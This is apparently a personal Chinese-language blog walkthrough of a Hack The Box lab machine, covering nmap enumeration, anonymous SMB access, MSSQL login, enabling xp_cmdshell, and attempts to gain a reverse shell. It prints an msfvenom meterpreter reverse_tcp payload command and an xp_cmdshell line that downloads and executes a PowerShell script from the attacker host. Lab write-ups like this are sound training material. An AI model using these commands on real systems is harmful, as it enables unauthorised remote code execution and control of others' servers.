现在开始HTB打靶之路,做一些记录。

图片.png

1.信息收集

首先NMAP开路
解释一下:
nmap -sC 根据端口识别服务自动调用默认脚本
nmap --script
图片.png
好了开始
图片.png
图片.png

其中值得关注的有445 SMB服务,1433 MSSQL
先看看SMB,Linux可使用SMBclient访问windows系统发布的共享资源
尝试匿名访问
图片.png
匿名访问成功
图片.png
配置文件找到密码
图片.png

2.获取权限

接下来尝试连接数据库,使用Impacket下的组件
图片.png
查看当前用户权限
图片.png

常见判断有:
select is_srvrolemember('sysadmin'); 判断当前是否为sa
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)
select is_srvrolemember('public'); 判断是否有public权限,SQL注入中可以爆破表
以上正确执行后返回值都为1

所以得知目前是sysadmin权限,可以执行xp_cmdshell

xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出

启用xp_cmdshell并查看权限
图片.png

如果未成功,也可以用以下办法开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

注:
XEC sp_configure 'show advanced options' , 1
sp_configure 是修改系统配置的存储过程,当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!('xp_cmdshell' 是高级选项参数之一! )

RECONFIGURE
提交第一步操作并更新使用 sp_configure 系统存储过程更改的配置选项的当前配置

EXEC sp_configure 'xp_cmdshell' ,1
执行系统存储过程 修改 高级选项 参数'xp_cmdshell' 等于1,这个参数等于1 表示允许sqlserver 调用数据库之外的操作系统命令

RECONFIGURE
提交更新第三步的操作

执行后:
图片.png

3.建立shell连接

用msfvenom生成powershell脚本

图片.png
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.133 lport=8899 -f psh-reflection -o shell.ps1

开启handler监听
图片.png

SQL执行命令下载到本地执行
图片.png
xp_cmdshell powershell IEX(New-object Net.webclient).downloadString("http://10.10.14.133/shell.ps1")

吐血,被杀软拦截了。。

第二种尝试,https://www.revshells.com/生成了一个shell,放在本地

用Python开启http server
图片.png

sql执行第二个shell
图片.png

看来要研究一下evasion技术了


daisydydy
30 声望0 粉丝